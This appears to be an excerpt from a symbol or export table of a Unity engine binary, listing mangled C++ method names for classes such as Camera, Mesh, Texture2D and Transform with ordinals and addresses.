?GetTypeString@?$AnimationCurveTpl@VVector3f@@@@SAPBDXZ	1562	0x5e4860
?GetTypeString@?$RectT@H@@SAPBDXZ	1563	0x40d570
?GetTypeString@?$RectT@M@@SAPBDXZ	1564	0x40d560
?GetTypeString@Behaviour@@SAPBDXZ	1565	0x40c970
?GetTypeString@Camera@@SAPBDXZ	1566	0x417ae0
?GetTypeString@Component@Unity@@SAPBDXZ	1567	0x406a60
?GetTypeString@GameObject@Unity@@SAPBDXZ	1568	0x4069c0
?GetTypeString@GlobalGameManager@@SAPBDXZ	1569	0x406900
?GetTypeString@LevelGameManager@@SAPBDXZ	1570	0x4068c0
?GetTypeString@Material@Unity@@SAPBDXZ	1571	0x417f50
?GetTypeString@Matrix3x3f@@SAPBDXZ	1572	0x40e180
?GetTypeString@Matrix4x4f@@SAPBDXZ	1573	0x405c60
?GetTypeString@Mesh@@SAPBDXZ	1574	0x445810
?GetTypeString@MeshFilter@@SAPBDXZ	1575	0x4d2370
?GetTypeString@MonoManager@@SAPBDXZ	1576	0x406910
?GetTypeString@NamedObject@@SAPBDXZ	1577	0x40d1d0
?GetTypeString@RenderSettings@@SAPBDXZ	1578	0x43fce0
?GetTypeString@RenderTexture@@SAPBDXZ	1579	0x418490
?GetTypeString@Renderer@@SAPBDXZ	1580	0x417810
?GetTypeString@ScriptMapper@@SAPBDXZ	1581	0x445a20
?GetTypeString@SkinnedMeshRenderer@@SAPBDXZ	1582	0x4b6690
?GetTypeString@SparseTexture@@SAPBDXZ	1583	0x565b20
?GetTypeString@Texture2D@@SAPBDXZ	1584	0x40d460
?GetTypeString@Texture@@SAPBDXZ	1585	0x40d2e0
?GetTypeString@Transform@@SAPBDXZ	1586	0x40e350
?GetUVScaleX@Texture@@QBEMXZ	1587	0x74f730
?GetUVScaleY@Texture@@QBEMXZ	1588	0x40d390
?GetUnscaledTextureID@Texture2D@@UBE?AUTextureID@@XZ	1589	0x560830
?GetUnscaledTextureID@Texture@@UBE?AUTextureID@@XZ	1590	0x40d300
?GetUpdateManager@@YAAAVBaseBehaviourManager@@XZ	1591	0x523220
?GetUpdateWhenOffscreen@SkinnedMeshRenderer@@QBE_NXZ	1592	0x4b66f0
?GetUploadTileSize@SparseTexture@@ABEXHAAH0@Z	1593	0x565d10
?GetUsageMode@Texture@@QBE?AW4TextureUsageMode@@XZ	1594	0x60bfe0
?GetUseFog@RenderSettings@@QBE_NXZ	1595	0x43fd90
?GetUseOcclusionCulling@Camera@@QBE_NXZ	1596	0x417cf0
?GetUserData@TransferBase@@QAEPAXXZ	1597	0x401000
?GetUsesScreenForCompositing@Camera@@QBE_N_N@Z	1598	0x458320
?GetUsingHDR@Camera@@QBE_NXZ	1599	0x417bb0
?GetUvBegin@Mesh@@QBE?AV?$StrideIterator@VVector2f@@@@H@Z	1600	0x446950
?GetUvEnd@Mesh@@QBE?AV?$StrideIterator@VVector2f@@@@H@Z	1601	0x4469a0
?GetVR@RenderTexture@@QBE_NXZ	1602	0x4179b0
?GetValidBlendShapeWeightCount@SkinnedMeshRenderer@@IBEIXZ	1603	0x4b7430
?GetValuesForARGV@@YA?AV?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@@2@@std@@ABV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@2@@Z	1604	0x661090
?GetVelocity@Camera@@QBEABVVector3f@@XZ	1605	0x417d10
?GetVertexBegin@Mesh@@QBE?AV?$StrideIterator@VVector3f@@@@XZ	1606	0x4467b0
?GetVertexBufferData@Mesh@@QAEXAAUVertexBufferData@@@Z	1607	0x4bfc90
?GetVertexColorsSwizzled@Mesh@@QBE_NXZ	1608	0x445820
?GetVertexCount@Mesh@@QBEHXZ	1609	0x445e40
?GetVertexData@Mesh@@QAEAAVVertexData@@XZ	1610	0x4458a0
?GetVertexData@Mesh@@QAEXPAXIIH@Z	1611	0x4c2870
?GetVertexData@Mesh@@QBEABVVertexData@@XZ	1612	0x4458a0
?GetVertexDataPointer@Mesh@@QBEPAXXZ	1613	0x445e60
?GetVertexDataSize@Mesh@@QBEIXZ	1614	0x445e70
?GetVertexEnd@Mesh@@QBE?AV?$StrideIterator@VVector3f@@@@XZ	1615	0x446800
?GetVertexSize@Mesh@@QBEIXZ	1616	0x445e80
?GetVisible@Renderer@@QBE_NXZ	1617	0x417830
?GetVolumeDepth@RenderTexture@@QBEHXZ	1618	0x565b40
?GetWidth@RenderTexture@@QBEHXZ	1619	0x40d4c0
?GetWorldAABB@BaseRenderer@@QAEXAAVAABB@@@Z	1620	0x452d70
?GetWorldRotationAndScale@Transform@@QBE?AVMatrix3x3f@@XZ	1621	0x567390
?GetWorldScale@Transform@@QBE?AVMatrix3x3f@@XZ	1622	0x56ad30
?GetWorldScaleLossy@Transform@@QBE?AVVector3f@@XZ	1623	0x56b180
?GetWorldToCameraMatrix@Camera@@QBEABVMatrix4x4f@@XZ	1624	0x4554f0
?GetWorldToClipMatrix@Camera@@QBEABVMatrix4x4f@@XZ	1625	0x455600
?GetWorldToLocalMatrix@Renderer@@QBE?AVMatrix4x4f@@XZ	1626	0x513f50
?GetWorldToLocalMatrix@Transform@@QBE?AVMatrix4x4f@@XZ	1627	0x569050
?GetWorldToLocalMatrixNoScale@Transform@@QBE?AVMatrix4x4f@@XZ	1628	0x569020
?GetWorldToLocalMatrixNoScale@Transform@@QBEABVMatrix4x4f@@AAV2@@Z	1629	0x569020
?GetWrapMode@Texture@@QBEHXZ	1630	0x40d360
?GetWritableImageData@Texture2D@@QAEPAEH@Z	1631	0x40d630
?GetWritableProperties@Material@Unity@@QAEAAVPropertySheet@ShaderLab@@XZ	1632	0x418500
?GetWriteBlendShapeDataInternal@Mesh@@QAEAAUBlendShapeData@@XZ	1633	0xadbc70
?GetWriteImageReference@Texture2D@@QAE_NPAVImageReference@@HH@Z	1634	0x562140
?GetXMax@?$RectT@H@@QBEHXZ	1635	0x97e6d0
?GetXMax@?$RectT@M@@QBEMXZ	1636	0x43cba0
?GetYMax@?$RectT@H@@QBEHXZ	1637	0x982920
?GetYMax@?$RectT@M@@QBEMXZ	1638	0x43cbc0
?GrabPixels@RenderTexture@@QAEXHHHH@Z	1639	0x517280
?HasARGV@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@@Z	1640	0x660eb0
?HasChannel@Mesh@@QBE_NW4ShaderChannel@@@Z	1641	0x445f40
?HasCompileErrors@MonoManager@@QAE_NXZ	1642	0xd153d0
?HasConflictingComponents@GameObject@Unity@@QBE_NH@Z	1643	0x406a10
?HasEvent@Object@@QBE_NP6AXPAX0H@ZPBX@Z	1644	0x406d10
?HasJobGroupCompleted@JobQueue@@QAE_NUJobGroupID@@@Z	1645	0x6531a0
?HasMipMap@RenderTexture@@UBE_NXZ	1646	0xc02860
?HasMipMap@SparseTexture@@UBE_NXZ	1647	0x417980
?HasMipMap@Texture@@UBE_NXZ	1648	0x40d350
?HasObjectUser@Mesh@@QAE_NPBVObject@@@Z	1649	0x446530
?HasOffsetPtrWithDebugPtr@BlobWrite@@ABE_NXZ	1650	0x636a80
?HasProperty@Material@Unity@@QAE_NUFastPropertyName@ShaderLab@@@Z	1651	0x646ec0
?HasSubsetIndices@Renderer@@IBE_NXZ	1652	0x418480
?HasTopology@Mesh@@QBE_NW4GfxPrimitiveType@@@Z	1653	0x4bfd70
?HasVertexData@Mesh@@QBE_NXZ	1654	0x445e50
?HealSubsetIndices@Renderer@@IAEXXZ	1655	0x5135f0
?Height@?$RectT@H@@QBEHXZ	1656	0xba8df0
?Height@?$RectT@M@@QBEMXZ	1657	0x43b7a0
?IDToPointer@Object@@SAPAV1@H@Z	1658	0x40a5e0
?IDToPointerNoThreadCheck@Object@@SAPAV1@H@Z	1659	0x409a70
?IDToPointerThreadSafe@Object@@SAPAV1@H@Z	1660	0x40a640
?InMonoFormat@ScriptingArguments@@QAEPAPAXXZ	1661	0x607880
?Init@?$StreamedBinaryWrite@$00@@QAEAAVCachedWriter@@ABV2@W4TransferInstructionFlags@@UBuildTargetSelection@@ABUBuildUsageTag@@ABUGlobalBuildData@@@Z	1662	0x625ac0
?Init@?$StreamedBinaryWrite@$00@@QAEAAVCachedWriter@@W4TransferInstructionFlags@@UBuildTargetSelection@@@Z	1663	0x625b00
?Init@?$StreamedBinaryWrite@$0A@@@QAEAAVCachedWriter@@ABV2@W4TransferInstructionFlags@@UBuildTargetSelection@@ABUBuildUsageTag@@ABUGlobalBuildData@@@Z	1664	0x625ac0
?Init@?$StreamedBinaryWrite@$0A@@@QAEAAVCachedWriter@@W4TransferInstructionFlags@@UBuildTargetSelection@@@Z	1665	0x625b00
?Init@FastPropertyName@ShaderLab@@AAEXPBD@Z	1666	0x679150
?Init@SafeBinaryRead@@QAEAAVCachedReader@@AAV1@@Z	1667	0x624f60
?Init@SafeBinaryRead@@QAEAAVCachedReader@@ABVTypeTreeIterator@@HHW4TransferInstructionFlags@@UMemLabelId@@@Z	1668	0x624190
?InitChannelsToDefaultValues@Mesh@@AAEXIII@Z	1669	0x4bf5c0
?InitTexture@SparseTexture@@QAE_NHHW4TextureFormat@@H_N@Z	1670	0x566220
?InitTexture@Texture2D@@UAE_NHHW4TextureFormat@@HHH@Z	1671	0x5611b0
?InitTextureInternal@Texture2D@@QAEXHHW4TextureFormat@@HHH@Z	1672	0x560fa0
?Initialize@IntermediateRenderer@@QAEXABVMatrix4x4f@@ABVAABB@@V?$PPtr@VMaterial@Unity@@@@HW4ShadowCastingMode@@_N@Z	1673	0x4694e0
?Initialize@MemLabelId@@QAEXW4MemLabelIdentifier@@@Z	1674	0x54da90
?Initialize@MeshIntermediateRenderer@@QAEXABVMatrix4x4f@@PAVMesh@@ABVAABB@@V?$PPtr@VMaterial@Unity@@@@HW4ShadowCastingMode@@_NH@Z	1675	0x4695f0
?Initialize@MeshIntermediateRendererWithDistanceSortingOrder@@QAEXABVMatrix4x4f@@PAVMesh@@GABVAABB@@V?$PPtr@VMaterial@Unity@@@@HW4ShadowCastingMode@@_NH@Z	1676	0x4696a0
?Initialize@SpriteIntermediateRenderer@@QAEXABVMatrix4x4f@@PAVSprite@@ABVAABB@@V?$PPtr@VMaterial@Unity@@@@HABVColorRGBA32@@@Z	1677	0x46a090
?InitializeAllClasses@Object@@SAXXZ	1678	0x4095b0
?InitializeClass@Behaviour@@SAXXZ	1679	0x524290
?InitializeClass@Camera@@SAXXZ	1680	0x455ad0
?InitializeClass@GameObject@Unity@@SAXXZ	1681	0x40fb40
?InitializeClass@Material@Unity@@SAXXZ	1682	0x644000
?InitializeClass@MeshFilter@@SAXXZ	1683	0x4d26d0
?InitializeClass@RenderSettings@@SAXXZ	1684	0x489240
?InitializeClass@Renderer@@SAXXZ	1685	0x513a10
?InitializeClass@SkinnedMeshRenderer@@SAXXZ	1686	0x4b79b0
?InitializeClass@Texture2D@@SAXXZ	1687	0x554fb0
?InitializeClass@Texture@@SAXXZ	1688	0x55ff10
?InitializeMessageHandlers@GameObject@Unity@@SAXXZ	1689	0x412a00
?InitializeMessageIdentifiers@GameObject@Unity@@SAXXZ	1690	0x412a70
?InsertInList@ListElement@@QAEXPAV1@@Z	1691	0x401050
?InsertObjectInMap@Object@@CAXPAV1@@Z	1692	0x40c4f0
?InstanceIDToLocalSerializedObjectIdentifier@@YAXHAAULocalSerializedObjectIdentifier@@@Z	1693	0x406b10
?InstanceIDToObjectPartiallyLoadedThreadSafe@@YAPAVObject@@H_N@Z	1694	0x40b0d0
?IntegrateLists@BaseBehaviourManager@@IAEXXZ	1695	0x5234a0
?IntegrateLoadedImmediately@Texture2D@@SAXXZ	1696	0x554fb0
?IntersectAABBAABBInclusive@@YA_NABVAABB@@0@Z	1697	0x52c660
?IntersectAny@IRaycast@@SA_NABUBatchedRaycast@@PAVAABB@@I@Z	1698	0x59af90
?IntersectAny@IRaycast@@SA_NABVRay@@MPAVAABB@@I@Z	1699	0x59ae30
?Intersects@?$RectT@M@@QBE_NABV1@@Z	1700	0x91a950
?InvalidateCache@?$AnimationCurveTpl@M@@QAEXXZ	1701	0x5a8170
?InvalidateCache@?$AnimationCurveTpl@VQuaternionf@@@@QAEXXZ	1702	0x5a8480
?InvalidateCache@?$AnimationCurveTpl@VVector3f@@@@QAEXXZ	1703	0x5a8370
?InvalidateDisplayLists@Material@Unity@@QAEXXZ	1704	0x644050
?InvalidateGpuSkinSourceBuffers@Mesh@@QAEXXZ	1705	0x4bf690
?InvalidateHashes@Material@Unity@@QAEXXZ	1706	0x418090
?InvalidateSupportedMessages@GameObject@Unity@@QAEXXZ	1707	0x40e520
?InverseMultiplyPoint3Affine@Matrix4x4f@@QBE?AVVector3f@@ABV2@@Z	1708	0x406570
?InverseMultiplyVector3Affine@Matrix4x4f@@QBE?AVVector3f@@ABV2@@Z	1709	0x4066a0
?InverseTransformDirection@Transform@@QBE?AVVector3f@@ABV2@@Z	1710	0x569650
?InverseTransformPoint@Transform@@QBE?AVVector3f@@ABV2@@Z	1711	0x56a100
?InverseTransformVector@Transform@@QBE?AVVector3f@@ABV2@@Z	1712	0x569a50
?Invert@Matrix3x3f@@QAE_NXZ	1713	0x59cd80
?InvertTranspose@Matrix3x3f@@QAEXXZ	1714	0x59e410
?Invert_Full@Matrix4x4f@@QAEAAV1@XZ	1715	0x405ce0
?Invert_Full@Matrix4x4f@@SA_NABV1@AAV1@@Z	1716	0x405d00
?Invert_General3D@Matrix4x4f@@SA_NABV1@AAV1@@Z	1717	0x405d10
?Invoke@?$CallbackArray1@AAUClassRegistrationContext@@@@QAEXAAUClassRegistrationContext@@@Z	1718	0x49c6f0
?Invoke@?$CallbackArray1@AAVModuleManager@@@@QAEXAAVModuleManager@@@Z	1719	0x49c6f0
?Invoke@?$CallbackArray1@ABVCamera@@@@QAEXABVCamera@@@Z	1720	0x49c6f0
?Invoke@?$CallbackArray1@PAVCamera@@@@QAEXPAVCamera@@@Z	1721	0x49c6f0
?Invoke@?$CallbackArray2@PBUIndexList@@PBURendererCullData@@@@QAEXPBUIndexList@@PBURendererCullData@@@Z	1722	0x45eb90
?Invoke@?$CallbackArray3@ABV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@AAVAwakeFromLoadQueue@@W4LoadingMode@LoadSceneOperation@@@@QAEXABV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@AAVAwakeFromLoadQueue@@W4LoadingMode@LoadSceneOperation@@@Z	1723	0x5e0e30
?Invoke@CallbackArray@@QAEXXZ	1724	0x41ed20
?InvokeCleanupAllModules@ModuleManager@@QAEXXZ	1725	0x41eda0
?InvokeDestroyedCallback@GameObject@Unity@@SAXPAV12@@Z	1726	0x40e540
?InvokeEvent@Object@@QAEXH@Z	1727	0x406d30
?InvokeRegisterClasses@ModuleManager@@QAEXAAUClassRegistrationContext@@@Z	1728	0x41edd0
?InvokeRegisterICalls@ModuleManager@@QAEXXZ	1729	0x41ed70
?InvokeRenderEventCB@Camera@@QAEXW4RenderCameraEventType@@AAUShaderPassContext@ShaderLab@@@Z	1730	0x417b50
?InvokeSetup@ModuleManager@@QAEXXZ	1731	0x41ed40
?IsAbstract@Behaviour@@SA_NXZ	1732	0x5c9040
?IsAbstract@Camera@@SA_NXZ	1733	0xd153d0
?IsAbstract@Component@Unity@@SA_NXZ	1734	0xd153d0
?IsAbstract@EditorExtension@@SA_NXZ	1735	0xd153d0
?IsAbstract@GameManager@@SA_NXZ	1736	0x5c9040
?IsAbstract@GameObject@Unity@@SA_NXZ	1737	0xd153d0
?IsAbstract@GlobalGameManager@@SA_NXZ	1738	0x5c9040
?IsAbstract@LevelGameManager@@SA_NXZ	1739	0x5c9040
?IsAbstract@Material@Unity@@SA_NXZ	1740	0xd153d0
?IsAbstract@Mesh@@SA_NXZ	1741	0xd153d0
?IsAbstract@MeshFilter@@SA_NXZ	1742	0xd153d0
?IsAbstract@MonoManager@@SA_NXZ	1743	0xd153d0
?IsAbstract@NamedObject@@SA_NXZ	1744	0x5c9040
?IsAbstract@Object@@SA_NXZ	1745	0x5c9040
?IsAbstract@RenderSettings@@SA_NXZ	1746	0xd153d0
?IsAbstract@RenderTexture@@SA_NXZ	1747	0xd153d0
?IsAbstract@Renderer@@SA_NXZ	1748	0x5c9040
?IsAbstract@ScriptMapper@@SA_NXZ	1749	0xd153d0
?IsAbstract@SkinnedMeshRenderer@@SA_NXZ	1750	0xd153d0
?IsAbstract@SparseTexture@@SA_NXZ	1751	0xd153d0
?IsAbstract@Texture2D@@SA_NXZ	1752	0xd153d0
?IsAbstract@Texture@@SA_NXZ	1753	0x5c9040
?IsAbstract@Transform@@SA_NXZ	1754	0xd153d0
?IsActivating@GameObject@Unity@@QBE_NXZ	1755	0x406a40
?IsActive@Component@Unity@@QBE_NXZ	1756	0x407a70
?IsActive@GameObject@Unity@@QBE_NXZ	1757	0x40f400
?IsActiveIgnoreImplicitPrefab@GameObject@Unity@@QAE_NXZ	1758	0x40f4b0
?IsAddedToManager@Behaviour@@QBE_NXZ	1759	0x40ca00
?IsAmbientFromSkybox@RenderSettings@@QBE_NXZ	1760	0x443230
?IsAnimationChannel@Behaviour@@SA_NXZ	1761	0xd153d0
?IsAnimationChannel@Camera@@SA_NXZ	1762	0xd153d0
?IsAnimationChannel@Component@Unity@@SA_NXZ	1763	0xd153d0
?IsAnimationChannel@GameObject@Unity@@SA_NXZ	1764	0xd153d0
?IsAnimationChannel@GlobalGameManager@@SA_NXZ	1765	0xd153d0
?IsAnimationChannel@LevelGameManager@@SA_NXZ	1766	0xd153d0
?IsAnimationChannel@Material@Unity@@SA_NXZ	1767	0xd153d0
?IsAnimationChannel@Matrix3x3f@@SA_NXZ	1768	0xd153d0
?IsAnimationChannel@Matrix4x4f@@SA_NXZ	1769	0xd153d0
?IsAnimationChannel@Mesh@@SA_NXZ	1770	0xd153d0
?IsAnimationChannel@MeshFilter@@SA_NXZ	1771	0xd153d0
?IsAnimationChannel@MonoManager@@SA_NXZ	1772	0xd153d0
?IsAnimationChannel@NamedObject@@SA_NXZ	1773	0xd153d0
?IsAnimationChannel@RenderSettings@@SA_NXZ	1774	0xd153d0
?IsAnimationChannel@RenderTexture@@SA_NXZ	1775	0xd153d0
?IsAnimationChannel@Renderer@@SA_NXZ	1776	0xd153d0
?IsAnimationChannel@ScriptMapper@@SA_NXZ	1777	0xd153d0
?IsAnimationChannel@SkinnedMeshRenderer@@SA_NXZ	1778	0xd153d0
?IsAnimationChannel@SparseTexture@@SA_NXZ	1779	0xd153d0
?IsAnimationChannel@Texture2D@@SA_NXZ	1780	0xd153d0
?IsAnimationChannel@Texture@@SA_NXZ	1781	0xd153d0
?IsAnimationChannel@Transform@@SA_NXZ	1782	0xd153d0
?IsAntiAliased@RenderTexture@@QBE_NXZ	1783	0x417980
?IsBuildingTargetPlatform@BlobWrite@@QAE_NW4BuildTargetPlatform@@@Z	1784	0x5c9050
?IsBuildingTargetPlatform@TransferBase@@QAE_NW4BuildTargetPlatform@@@Z	1785	0x65f010
?IsClassIDDeprecated@Object@@SA_NH@Z	1786	0x409550
?IsClassIDSealed@Object@@SA_NH@Z	1787	0x409520
?IsCreated@RenderTexture@@QBE_NXZ	1788	0x4184c0
?IsCurrentVersion@SafeBinaryRead@@QAE_NXZ	1789	0x6241e0
?IsCurrentVersion@TransferBase@@QAE_NXZ	1790	0x5c9040
?IsCurrentlyRendering@Camera@@QBE_NXZ	1791	0x453dd0
?IsDerivedFrom@Object@@QBE_NH@Z	1792	0x406fb0
?IsDerivedFromClassID@Object@@SA_NHH@Z	1793	0x405bd0
?IsDestroying@GameObject@Unity@@QBE_NXZ	1794	0x406a30
?IsEmpty@?$RectT@M@@QBE_NXZ	1795	0x40d580
?IsEmpty@MaterialPropertyBlock@@QBE_NXZ	1796	0x418190
?IsEnabled@RenderTexture@@SA_NXZ	1797	0x515960
?IsGraphicsAPIEnabled@MobileBuildSubTarget@@QBE_NH@Z	1798	0x4059f0
?IsIdentity@Matrix3x3f@@QAE_NM@Z	1799	0x59dc90
?IsIdentity@Matrix4x4f@@QBE_NM@Z	1800	0x5a05f0
?IsImplicitProjectionMatrix@Camera@@QBE_NXZ	1801	0x417d70
?IsImplicitWorldToCameraMatrix@Camera@@QBE_NXZ	1802	0x417d60
?IsInList@ListElement@@QBE_NXZ	1803	0x401010
?IsInScene@Renderer@@QBE_NXZ	1804	0x4178e0
?IsInitialized@SparseTexture@@QBE_NXZ	1805	0x565b50
?IsInstanceIDCreated@Object@@QBE_NXZ	1806	0x65d8d0
?IsIntermediateRenderer@BaseRenderer@@QBE_NXZ	1807	0x417750
?IsKeywordEnabled@Material@Unity@@QBE_NPBD@Z	1808	0x644280
?IsManagerContextAvailable@@YA_NH@Z	1809	0x412fb0
?IsNPOTAllowed@Texture2D@@UBE_NXZ	1810	0x560310
?IsNPOTAllowed@Texture@@UBE_NXZ	1811	0xd153d0
?IsNonPowerOfTwo@Texture2D@@QBE_NXZ	1812	0x40d4d0
?IsOldVersion@ProxyTransfer@@QAE_NH@Z	1813	0x65f010
?IsOldVersion@SafeBinaryRead@@QAE_NH@Z	1814	0x624200
?IsOldVersion@TransferBase@@QAE_NH@Z	1815	0x65f010
?IsOptimized@SkinnedMeshRenderer@@QBE_NXZ	1816	0x4b6740
?IsPartOfStaticBatch@Renderer@@QBE_NXZ	1817	0x418480
?IsPersistent@Object@@QBE_NXZ	1818	0x405b20
?IsPerspective@Matrix4x4f@@QBE_NXZ	1819	0x405c90
?IsPrefabParent@EditorExtension@@QBE_NXZ	1820	0xd153d0
?IsQuitSignaled@Thread@@QBE_NXZ	1821	0x4010b0
?IsReading@SafeBinaryRead@@QAE_NXZ	1822	0x5c9040
?IsReading@TransferBase@@QAE_NXZ	1823	0xd153d0
?IsReadingBackwardsCompatible@SafeBinaryRead@@QAE_NXZ	1824	0x5c9040
?IsReadingBackwardsCompatible@TransferBase@@QAE_NXZ	1825	0xd153d0
?IsReadingPPtr@RemapPPtrTransfer@@QAE_NXZ	1826	0x7377a0
?IsReadingPPtr@SafeBinaryRead@@QAE_NXZ	1827	0x5c9040
?IsReadingPPtr@TransferBase@@QAE_NXZ	1828	0xd153d0
?IsRemapPPtrTransfer@RemapPPtrTransfer@@QAE_NXZ	1829	0x5c9040
?IsRemapPPtrTransfer@TransferBase@@QAE_NXZ	1830	0xd153d0
?IsRenderer@BaseRenderer@@QBE_NXZ	1831	0x417740
?IsRunning@Thread@@QBE_NXZ	1832	0x445770
?IsSealedClass@Camera@@SA_NXZ	1833	0x5c9040
?IsSealedClass@Object@@SA_NXZ	1834	0xd153d0
?IsSelfActive@GameObject@Unity@@QBE_NXZ	1835	0x4069e0
?IsSerializingDebugProperties@TransferBase@@QBE_NXZ	1836	0xd153d0
?IsSerializingForGameRelease@BlobWrite@@QAE_NXZ	1837	0x5c9040
?IsSerializingForGameRelease@TransferBase@@QAE_NXZ	1838	0x5c9040
?IsSerializingForInspector@TransferBase@@QBE_NXZ	1839	0xd153d0
?IsSharedPhysicsMeshDirty@CollisionMeshData@@QAE_NXZ	1840	0x445770
?IsSharedPhysicsMeshDirty@Mesh@@QAE_NXZ	1841	0x445890
?IsStaticBatchable@GameObject@Unity@@QBE_NXZ	1842	0xd153d0
?IsSuitableSizeForDynamicBatching@Mesh@@QBE_NXZ	1843	0x4c02a0
?IsThisFileAnAssemblyThatCouldChange@MonoManager@@AAE_NAAV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@@Z	1844	0x546d90
?IsTrustedToken@ScriptingManager@@UAE_NABV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@@Z	1845	0x65f010
?IsValid@?$AnimationCurveTpl@M@@QBE_NXZ	1846	0x5a8590
?IsValid@?$AnimationCurveTpl@VQuaternionf@@@@QBE_NXZ	1847	0x5a8d70
?IsValid@?$AnimationCurveTpl@VVector3f@@@@QBE_NXZ	1848	0x5a8ce0
?IsValidClassID@Object@@SA_NH@Z	1849	0x405b30
?IsValidToRender@Camera@@QBE_NXZ	1850	0x454df0
?IsVersionSmallerOrEqual@ProxyTransfer@@QAE_NH@Z	1851	0x65f010
?IsVersionSmallerOrEqual@SafeBinaryRead@@QAE_NH@Z	1852	0x624220
?IsVersionSmallerOrEqual@TransferBase@@QAE_NH@Z	1853	0x65f010
?IsVisibleInScene@Renderer@@QBE_NXZ	1854	0x5129a0
?IsWorldPlaying@@YA_NXZ	1855	0x412db0
?IsWriting@?$StreamedBinaryWrite@$0A@@@QAE_NXZ	1856	0x5c9040
?IsWriting@BlobWrite@@QAE_NXZ	1857	0x5c9040
?IsWriting@ReportScriptingObjectsTransfer@@QAE_NXZ	1858	0x5c9040
?IsWriting@TransferBase@@QAE_NXZ	1859	0xd153d0
?IsWritingGameReleaseData@BlobWrite@@QAE_NXZ	1860	0x5c9040
?IsWritingGameReleaseData@TransferBase@@QAE_NXZ	1861	0xd153d0
?IsWritingPPtr@BlobWrite@@QAE_NXZ	1862	0x5c9040
?IsWritingPPtr@RemapPPtrTransfer@@QAE_NXZ	1863	0x5c9040
?IsWritingPPtr@ReportScriptingObjectsTransfer@@QAE_NXZ	1864	0xd153d0
?IsWritingPPtr@TransferBase@@QAE_NXZ	1865	0xd153d0
?Join@PlatformThread@@IAEXPBVThread@@@Z	1866	0x654f00
?LateUpdate@Behaviour@@UAEXXZ	1867	0x554fb0
?LayerChanged@Renderer@@QAEXXZ	1868	0x512d50
?LayerMaskChanged@Renderer@@IAEXXZ	1869	0x512d50
?LinkBatchedJob@JobQueue@@CAXPAVJobGroup@@0@Z	1870	0x652fc0
?Load@ModuleManager@@AAEXXZ	1871	0x49c740
?LoadAssemblies@MonoManager@@AAE_NVdynamic_bitset@@@Z	1872	0x547c10
?LoadRawTextureData@Texture2D@@QAE_NPBXI@Z	1873	0x563040
?LocalSerializedObjectIdentifierToInstanceID@@YAXABULocalSerializedObjectIdentifier@@AAH@Z	1874	0x406b30
?MainThreadCleanup@Camera@@UAEXXZ	1875	0x4580a0
?MainThreadCleanup@GameManager@@UAEXXZ	1876	0x40ddb0
?MainThreadCleanup@Material@Unity@@UAEXXZ	1877	0x643e70
?MainThreadCleanup@Mesh@@UAEXXZ	1878	0x4c20e0
?MainThreadCleanup@MonoManager@@UAEXXZ	1879	0x545bb0
?MainThreadCleanup@Object@@UAEXXZ	1880	0x554fb0
?MainThreadCleanup@RenderTexture@@UAEXXZ	1881	0x517420
?MainThreadCleanup@Renderer@@UAEXXZ	1882	0x512940
?MainThreadCleanup@SkinnedMeshRenderer@@MAEXXZ	1883	0x4b6d40
?MainThreadCleanup@SparseTexture@@UAEXXZ	1884	0x565ce0
?MainThreadCleanup@Texture2D@@UAEXXZ	1885	0x5630f0
?MainThreadCleanup@Texture@@UAEXXZ	1886	0x55feb0
?MakeEditorValuesLookNice@Transform@@QAEXXZ	1887	0x5670a0
?MarkActiveRecursively@GameObject@Unity@@AAEX_N@Z	1888	0x40f2c0
?MarkDependencies@EditorExtension@@QBEXAAUGarbageCollectorThreadState@@@Z	1889	0x5b1110
?MarkDependencies@Material@Unity@@QBEXAAUGarbageCollectorThreadState@@@Z	1890	0x644830
?MarkDependencies@MeshFilter@@QBEXAAUGarbageCollectorThreadState@@@Z	1891	0x4d23c0
?MarkDependencies@Renderer@@QBEXAAUGarbageCollectorThreadState@@@Z	1892	0x418400
?MarkDependencies@Transform@@QBEXAAUGarbageCollectorThreadState@@@Z	1893	0x40e870
?MarkDeprecated@Object@@KAXH@Z	1894	0x40c150
?MarkDynamic@Mesh@@QAEXXZ	1895	0x4bf750
?MarkGameObjectAndComponentDependencies@Component@Unity@@QBEXAAUGarbageCollectorThreadState@@@Z	1896	0x40ed90
?MarkGameObjectAndComponentDependencies@GameObject@Unity@@QBEXAAUGarbageCollectorThreadState@@@Z	1897	0x40eb20
?MarkGameObjectAndComponentDependencies@NamedObject@@QBEXAAUGarbageCollectorThreadState@@@Z	1898	0x5b1110
?MarkRestoreExpected@RenderTexture@@QAEXXZ	1899	0x515890
?MatrixToQuaternion@@YAXABVMatrix3x3f@@AAVQuaternionf@@@Z	1900	0x5a3a00
?MatrixToQuaternion@@YAXABVMatrix4x4f@@AAVQuaternionf@@@Z	1901	0x5a3da0
?MightContainPPtr@?$AnimationCurveTpl@M@@SA_NXZ	1902	0xd153d0
?MightContainPPtr@?$AnimationCurveTpl@VQuaternionf@@@@SA_NXZ	1903	0xd153d0
?MightContainPPtr@?$AnimationCurveTpl@VVector3f@@@@SA_NXZ	1904	0xd153d0
?MightContainPPtr@?$RectT@M@@SA_NXZ	1905	0xd153d0
?MightContainPPtr@Behaviour@@SA_NXZ	1906	0x5c9040
?MightContainPPtr@Camera@@SA_NXZ	1907	0x5c9040
?MightContainPPtr@Component@Unity@@SA_NXZ	1908	0x5c9040
?MightContainPPtr@GameObject@Unity@@SA_NXZ	1909	0x5c9040
?MightContainPPtr@GlobalGameManager@@SA_NXZ	1910	0x5c9040
?MightContainPPtr@LevelGameManager@@SA_NXZ	1911	0x5c9040
?MightContainPPtr@Material@Unity@@SA_NXZ	1912	0x5c9040
?MightContainPPtr@Matrix3x3f@@SA_NXZ	1913	0xd153d0
?MightContainPPtr@Matrix4x4f@@SA_NXZ	1914	0xd153d0
?MightContainPPtr@Mesh@@SA_NXZ	1915	0x5c9040
?MightContainPPtr@MeshFilter@@SA_NXZ	1916	0x5c9040
